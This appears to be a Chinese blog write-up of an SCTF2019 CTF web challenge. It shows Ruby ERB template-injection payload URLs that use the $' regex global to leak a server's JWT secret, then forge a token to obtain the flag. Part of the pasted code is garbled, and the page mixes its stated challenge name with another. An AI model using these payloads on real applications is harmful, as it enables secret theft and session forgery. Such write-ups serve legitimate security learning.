SCTF2019--WEB 2题复现

趁着writeup出了,环境还没关,熬夜复现下比赛的2道web题

Math-is-fun

一开始以为是jsonp,但是ctf比赛我就没成功打到过xss.....

界面是这样的,一边可以编辑,一遍会以MacDonald的格式输出

SCTF2019--WEB 2题复现_第1张图片

源码中可控字段在").result end end post "/shop" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } if auth[0]["jkl"] < FLAGPRICE then json({title: "error",message: "no enough jkl"}) else auth << {flag: ENV["FLAG"]} auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth json({title: "success",message: "jkl is good thing"}) end end def islogin if cookies[:auth].nil? then redirect to('/shop') end end

大致浏览下,要获得EVN["SECRET"]的值才能伪造我们的JWT,但是最前面有个注释表面了EVN["SECRT"]是靠

SecureRandom.hex(xx)生成的,而且参数xx未知,所以暴力是不可能的

继续浏览

SCTF2019--WEB 2题复现_第9张图片

这个params[:name][0,7]是可控的,因此我们payload如下

http://47.110.15.101/work?name=<%25=1%25>&do=<%25=1%25>%20is%20working

这样结果显示的是

SCTF2019--WEB 2题复现_第10张图片

Ruby的全局变量 https://blog.csdn.net/zdq0394123/article/details/8443694

其中的$'是显示最后一次匹配前的内容

因此利用方法是最先去带SECRET参数去匹配,这时候ENV["SECRET"]会匹配,结果是不正确的,但是ENV["SECRET"]的值会被记录在$'中,因此第二次不用触发匹配,直接输出$'即可

http://47.110.15.101/work?name=%3C%25=$%27%25%3E&do=%3C%25=$%27%25%3E%20is%20working&SECRET=d

SCTF2019--WEB 2题复现_第11张图片

http://47.110.15.101/work?name=%3C%25=$%27%25%3E&do=%3C%25=$%27%25%3E%20is%20working&SECRET=

SCTF2019--WEB 2题复现_第12张图片

获得了秘钥后就能伪造JWT

SCTF2019--WEB 2题复现_第13张图片

把这个JWT丢到一个工具网站去,修改下jkl和填下秘钥

SCTF2019--WEB 2题复现_第14张图片

将生产的JWT带成cookie去买flag

SCTF2019--WEB 2题复现_第15张图片

显示成功,看代码的逻辑,flag被存到了JWT中,因此再次解密下JWT即可获得flag

SCTF2019--WEB 2题复现_第16张图片

你可能感兴趣的:(SCTF2019--WEB 2题复现)